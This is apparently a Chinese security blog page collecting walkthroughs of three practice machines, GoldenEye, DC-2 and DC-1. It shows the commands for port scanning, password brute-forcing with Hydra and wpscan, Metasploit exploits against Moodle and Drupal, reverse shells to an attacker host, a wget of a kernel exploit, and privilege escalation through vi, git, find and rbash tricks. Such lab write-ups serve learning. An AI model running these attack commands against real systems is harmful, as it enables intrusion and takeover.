分类 靶机 下的文章

前言

许久未见,甚是想念啊,播客之前的文章图片也炸了,但是本机还有记录,如果真有需要,建议联系我QQ:2065443742,但是附件都没了,因为打完比赛我就删了,摆摆又烂烂了好久,这两天闲来无事,打了下靶机,就蛮更新一下下吧。

正文

在前端中,有提示登录的目录,但是没有账号密码,f12 看到一个 js 文件
1496fe8c-dca7-4831-9668-ebdac92bc72e.png
接着发现一段加密
2025-06-06T06:12:27.png
猜测Natalya和boris都是账号,然后解密这个得到的应该是密码了
2025-06-06T06:13:16.png
直接去登录,得到账号密码为boris/InvincibleHack3r,然后根据页面提示
2025-06-06T06:13:32.png
发现有 pop3,但是不在正常的端口,全端口扫描看看

55006/tcp open  unknown
55007/tcp open  unknown

得到两个开放端口,并且根据一开始的提示,使用默认密码,直接用 Hydra爆破试试看,得到两组账号密码

[55007][pop3] host: 10.10.0.6   login: natalya   password: bird
[55007][pop3] host: 10.10.0.6   login: boris   password: secret1!

接着 nc 上去查看邮件
2025-06-06T06:22:59.png

nc 10.10.0.6 55007
user boris 
pass secret1!
list
retr 1-3

分析三封邮件,当然了,我英语不好,找 ai 去了

1. 第一封:admin信任鲍里斯,不扫描邮件安全风险。  
2. 第二封:natalya声称能破解鲍里斯的密码。  
3. 第三封:alec要求鲍里斯将GoldenEye访问代码存至服务器根目录隐藏文件,删除邮件附件,项目进入最后阶段。

然后登录另外一个号试试

nc 10.10.0.6 55007
user natalya
pass bird

然后依旧老操作了

1.第一封(1995.4.10):root要求Natalya停止破解Boris密码,其担任GNO培训主管,需警惕Janus集团对GoldenEye的威胁。  
2.第二封(1995.4.29):root为Natalya分配新学生Xenia(凭证:xenia/RCP90rulez!),需修改host文件映射域名severnaya-station.com,并以“安全”名义加速配置变更。

然后就是设置 host 文件了

10.10.0.6 severnaya-station.com

接着访问severnaya-station.com/gnocertdir,并且登录账号密码

接着在Home / My profile /Messages --->发现有一封邮件,内容发现用户名doak
2025-06-06T06:24:22.png
然后就是爆破 doak 的邮件了,得到账号密码

doak/goat

然后继续登录 pop3

nc 10.10.0.6 55007
user doak
pass goat
list
retr 1 

2025-06-06T06:24:54.png
得到一个新的账号密码,去网站登录

用户名:dr_doak
密码:4England!

登录后在:Home / My home 右边发现: s3cret.txt 另外发现这是Moodle使用的2.2.3版本
2025-06-06T06:25:24.png
接着下载图片看看,strings 图片得到一段 base64

eFdpbnRlcjE5OTV4IQ==
---------------
xWinter1995x!

这是admin 的密码,登录后感觉没发现啥东西,按照前面的提示,是Moodle2.2.3,直接上 msf 吧

msfconsole
search moodle
use 1
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.10.98
exploit

直接得到 shell
2025-06-06T06:26:04.png
只能使用ptyhon获得tty,否则有些命令无法执行

python -c 'import pty; pty.spawn("/bin/bash")'

接着就是提权了,先看一眼权限

uname -a

2025-06-06T06:26:39.png
然后用 msf 搜索内核模块,编译 exp

www-data@ubuntu:/$ cd /tmp 
www-data@ubuntu:/$ wget http://192.168.31.28:8000/37292.c
www-data@ubuntu:/tmp$ ls
www-data@ubuntu:/tmp$ gcc -v    报错说明没有gcc编译器
www-data@ubuntu:/tmp$ cc -v        存在cc编译器

2025-06-06T06:27:01.png
然后就直接去读取 flag

cat /root/.flag.txt

2025-06-06T06:27:17.png

结束语

mac 打靶机还是很难受,想用 kali 但是不知道为什么我的pd 有点点难受,后面直接用网上的 wp 过渡一下,这两天折腾一下不然换回 Windows 打靶机了~

DC-2

访问80端口,发现自动跳转到DC-2

信息收集

2025-07-20T20:18:48.png

收集ip

arp-scan -l

2025-07-20T20:19:01.png

扫描端口

nmap -sV 192.168.6.138

2025-07-20T20:19:17.png

修改一下hosts文件

vim /etc/hosts

2025-07-20T20:19:24.png

保存重新访问即可

flag1

访问80端口在首页发现flag,访问得到

2025-07-20T20:19:32.png

flag2

根据flag1的提示:“Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.”

意思应该就是用cewl

cewl http://dc-2 -w passwd.txt

密码有了。还缺登录框和账号,先扫一下目录

dirb http://dc-2

2025-07-20T20:19:42.png

感觉是登录框,访问看一下

http://dc-2/wp-admin/admin.php

2025-07-20T20:19:50.png

登录框有了,看到是Wordpress,联想到wpscan,使用wpscan枚举用户名

wpscan --url http://dc-2/ -e u

保存枚举出来的3个账号在users.txt

admin 
jerry 
tom

使用wpscan爆破账号密码

wpscan --url http://dc-2/ -U users.txt -P passwd.txt

2025-07-20T20:20:01.png
得到两组账号密码

jerry / adipiscing                                                                                                                                                                              
 tom / parturient  

尝试登录一下,登陆成功,翻寻得到flag2

2025-07-20T20:20:09.png

flag3

根据提示:如果你不能利用WordPress并走捷径,还有另一种方法。

希望你找到了另一个入口。

重新扫描端口看看

nmap -A -p 1-65535 -v 192.168.6.138

2025-07-20T20:20:24.png

发现还有一个7744是SSH端口,用wordpress的账号尝试一下,jerry尝试了登不上去,果断换tom

ssh tom@192.168.6.138 -p 7744

2025-07-20T20:20:39.png
一下子就上去了

看看当前目录有什么,看到有个flag3.txt查看试试

2025-07-20T20:21:38.png
发现命令没办法用,被“rbash”限制了

再看看还有什么命令是能用的

compgen -c

2025-07-20T20:21:47.png

发现有个vi,用vi看看

2025-07-20T20:21:54.png

flag4

提示:“Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.”

提到了tom和jerry和su

应该是让我们提权,然后去看看jerry和su

vi可以用 有一个vi的提权

vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell

提权成功后,看看其他目录,发现jerry

cd ..
ls

2025-07-20T20:22:09.png
进入jerry的目录看看,发现flag4.txt,使用vi查看

2025-07-20T20:22:21.png

·flag5

提示:”Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!“

还没结束,前面FLAG3有提示su。我们去看看root目录,想直接切去root目录

2025-07-20T20:22:50.png

不行,找到了个rbash环境变量的提权方法

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a        //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

先返回tom的权限

2025-07-20T20:22:58.png

提权成功,su到Jerry的账号下,发现还是不能进入root目录

执行sudo -l看看
2025-07-20T20:23:10.png
发现可以用git提权

git提权的方法

sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

2025-07-20T20:23:23.png

提权成功,切换到root目录下,查看flag5(final-flag.txt)

2025-07-20T20:23:30.png

DC-1

信息收集

收集ip

arp-scan -l

image-20240131231958-99jlr01.png

扫描端口

nmap -sV 192.168.6.135

image-20240131232107-65t475e.png

访问80端口,可以看到CMS为Drupal

image-20240131232922-kkoe6j5.png

漏洞利用

使用msfconsole查看Drupal的模块

1.进入msfconsole

msfconsole

2.搜索Drupal漏洞模块

search Drupal

![image-20240131233359-04wrw4w.png][1]​

3.使用2018年的模块

use 1

4.查看需要配置的参数

show options

2025-07-20T20:09:00.png

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

5.设置目标

set rhosts 192.168.6.135

6.攻击

run

2025-07-20T20:08:28.png

可以看到session的建立

7.获得shell

shell

为了方便看我们使用python进行反弹

python -c 'import pty; pty.spawn("/bin/bash")'

flag1

使用ls看到目录下有一个flag1.txt,使用cat读取

ls
cat flag1.txt

2025-07-20T20:09:25.png

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

flag2

根据提示搜索配置文件

find . -name "set*"

2025-07-20T20:09:41.png

发现有文件,读取看到flag2提示

flag2
*蛮力和字典攻击不是
*只有获得访问权限的方法(你将需要访问权限)。
*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作

并且看到数据库账号密码

2025-07-20T20:10:01.png

flag3

尝试登录一下

mysql -udbuser -pR0ck3t

2025-07-20T20:10:10.png

查看库

show databases;

进入drupaldb库中

use drupaldb

2025-07-20T20:10:34.png
查看库中的表

show tables;

仔细观察可以看到有一个users的表

2025-07-20T20:10:44.png

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向

2025-07-20T20:10:56.png

感觉admin的密码应该是某种hash加密,找找文件中有没有加密文件。

find . -name "*hash*"

2025-07-20T20:11:06.png

发现有加密文件,运行看一下

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

2025-07-20T20:11:16.png

得到hash值,尝试去数据库中替换密码

SD6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl

update users set pass='$S$D6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl' where name='admin';

2025-07-20T20:11:28.png

替换成功,尝试登录,登录成功得到flag3提示

2025-07-20T20:11:37.png

提示:

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

flag4

根据提示的passwd,查看etc/passwd看看

cat /etc/passwd

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4
ls

查看内容

cat flag4.txt

2025-07-20T20:11:53.png

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)
2025-07-20T20:12:05.png

看到find,那就比较简单了。直接使用find提权

find / -exec /bin/bash \;

2025-07-20T20:12:16.png

再次查看flag4,得到提示

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root   
ls

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

获得最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7